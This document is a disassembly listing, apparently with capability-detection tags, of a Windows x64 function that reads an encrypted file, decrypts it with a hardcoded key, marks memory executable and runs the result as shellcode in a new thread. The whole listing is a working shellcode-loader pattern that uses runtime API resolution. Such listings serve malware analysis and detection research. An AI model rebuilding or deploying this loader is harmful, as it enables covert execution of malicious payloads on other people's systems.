Function at 0x14001128f
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Link many functions at runtime

Disassembly:
jmp 0x140011c90
push rbp
push rdi
sub rsp, 0x3f8
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x8e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x3a8], rax
lea rcx, [0x1400240a2]
call fcn.1400113bb
mov dword [rbp + 0x64], 0
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rbp + 0x88], rax
lea rax, str.C:Usersjojo_source_reposproject1x64Debugzeze.bin
mov qword [rbp + 0xa8], rax
lea rdx, str.VirtualAlloc
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xc8], rax
lea rdx, str.CreateFileA
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xe8], rax
lea rdx, str.ReadFile
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x108], rax
lea rdx, str.VirtualProtect
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x128], rax
lea rdx, str.CreateThread
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x148], rax
mov byte [rbp + 0x168], 0x5a
mov byte [rbp + 0x169], 0xcd
mov byte [rbp + 0x16a], 0xf4
mov byte [rbp + 0x16b], 0x9e
mov byte [rbp + 0x16c], 0xd2
mov byte [rbp + 0x16d], 0xbf
mov byte [rbp + 0x16e], 0x6c
mov byte [rbp + 0x16f], 0x47
mov byte [rbp + 0x170], 0x8a
mov byte [rbp + 0x171], 0xfd
mov byte [rbp + 0x172], 0xcf
mov byte [rbp + 0x173], 0xc9
mov byte [rbp + 0x174], 0xae
mov byte [rbp + 0x175], 0x2d
mov byte [rbp + 0x176], 0x76
mov byte [rbp + 0x177], 0xd1
mov qword [rbp + 0x198], 0x10
cmp qword [rbp + 0xe8], 0
jne 0x140011e31
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x3a4], eax
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
mov ecx, dword [rbp + 0x3a4]
mov r8d, ecx
lea rdx, str.Failed_to_get_CreateFileA_address:_Error__lu_n
mov rcx, rax
call fcn.140011361
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
mov rcx, qword [rbp + 0xa8]
call qword [rbp + 0xe8]
mov qword [rbp + 0x1b8], rax
cmp qword [rbp + 0x1b8], 0xffffffffffffffff
jne 0x140011eaf
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x3a4], eax
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
mov ecx, dword [rbp + 0x3a4]
mov r8d, ecx
lea rdx, str.Failed_to_open_file:_Error__lu_n
mov rcx, rax
call fcn.140011361
mov eax, 0xffffffff
jmp 0x1400121e9
lea rdx, [rbp + 0x1d8]
mov rcx, qword [rbp + 0x1b8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
jne 0x140011f0d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x3a4], eax
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
mov ecx, dword [rbp + 0x3a4]
mov r8d, ecx
lea rdx, str.Failed_to_get_file_size:_Error__lu_n
mov rcx, rax
call fcn.140011361
mov rcx, qword [rbp + 0x1b8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0xffffffff
jmp 0x1400121e9
mov rcx, qword [rbp + 0x1d8]
call qword [sym.imp.ucrtbased.dll_malloc]
mov qword [rbp + 0x1f8], rax
cmp qword [rbp + 0x1f8], 0
jne 0x140011f4f
lea rcx, str.Memory_allocation_failed
call qword [sym.imp.ucrtbased.dll_perror]
mov rcx, qword [rbp + 0x1b8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0xffffffff
jmp 0x1400121e9
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x214]
mov r8d, dword [rbp + 0x1d8]
mov rdx, qword [rbp + 0x1f8]
mov rcx, qword [rbp + 0x1b8]
call qword [rbp + 0x108]
test eax, eax
je 0x140011f8d
mov eax, dword [rbp + 0x214]
cmp rax, qword [rbp + 0x1d8]
je 0x140011fe0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x3a4], eax
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
mov ecx, dword [rbp + 0x3a4]
mov r8d, ecx
lea rdx, str.Failed_to_read_file:_Error__lu_n
mov rcx, rax
call fcn.140011361
mov rcx, qword [rbp + 0x1f8]
call qword [sym.imp.ucrtbased.dll_free]
mov rcx, qword [rbp + 0x1b8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0xffffffff
jmp 0x1400121e9
mov rcx, qword [rbp + 0x1b8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9, qword [rbp + 0x198]
lea r8, [rbp + 0x168]
mov edx, dword [rbp + 0x1d8]
mov rcx, qword [rbp + 0x1f8]
call fcn.1400113e3
test eax, eax
je 0x140012042
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
lea rdx, str.Decryption_failed_n
mov rcx, rax
call fcn.140011361
mov rcx, qword [rbp + 0x1f8]
call qword [sym.imp.ucrtbased.dll_free]
mov eax, 0xffffffff
jmp 0x1400121e9
mov eax, dword [rbp + 0x214]
mov r9d, 4
mov r8d, 0x3000
mov edx, eax
xor ecx, ecx
call qword [rbp + 0xc8]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x14001209a
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
lea rdx, str.Failed_to_allocate_executable_memory._n
mov rcx, rax
call fcn.140011361
mov rcx, qword [rbp + 0x1f8]
call qword [sym.imp.ucrtbased.dll_free]
mov eax, 0xffffffff
jmp 0x1400121e9
mov eax, dword [rbp + 0x214]
mov r8d, eax
mov rdx, qword [rbp + 0x1f8]
mov rcx, qword [rbp + 8]
call fcn.1400113fc
mov eax, dword [rbp + 0x214]
lea r9, [rbp + 0x64]
mov r8d, 0x20
mov edx, eax
mov rcx, qword [rbp + 8]
call qword [rbp + 0x128]
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
jne 0x140012130
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x3a4], eax
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
mov ecx, dword [rbp + 0x3a4]
mov r8d, ecx
lea rdx, str.Failed_to_change_memory_protection:_Error__lu_n
mov rcx, rax
call fcn.140011361
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, qword [rbp + 0x1f8]
call qword [sym.imp.ucrtbased.dll_free]
mov eax, 0xffffffff
jmp 0x1400121e9
lea rcx, str.Press_any_key_to_execute_the_decrypted_payload..._n
call fcn.1400111a9
call qword [sym.imp.ucrtbased.dll_getchar]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 8]
xor edx, edx
xor ecx, ecx
call qword [rbp + 0x148]
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0
jne 0x1400121af
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
lea rdx, str.Failed_to_create_thread._n
mov rcx, rax
call fcn.140011361
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, qword [rbp + 0x1f8]
call qword [sym.imp.ucrtbased.dll_free]
mov eax, 0xffffffff
jmp 0x1400121e9
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, qword [rbp + 0x1f8]
call qword [sym.imp.ucrtbased.dll_free]
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x14001af10]
call fcn.140011334
mov rax, rdi
mov rcx, qword [rbp + 0x3a8]
xor rcx, rbp
call fcn.1400111c2
lea rsp, [rbp + 0x3b8]
pop rdi
pop rbp
ret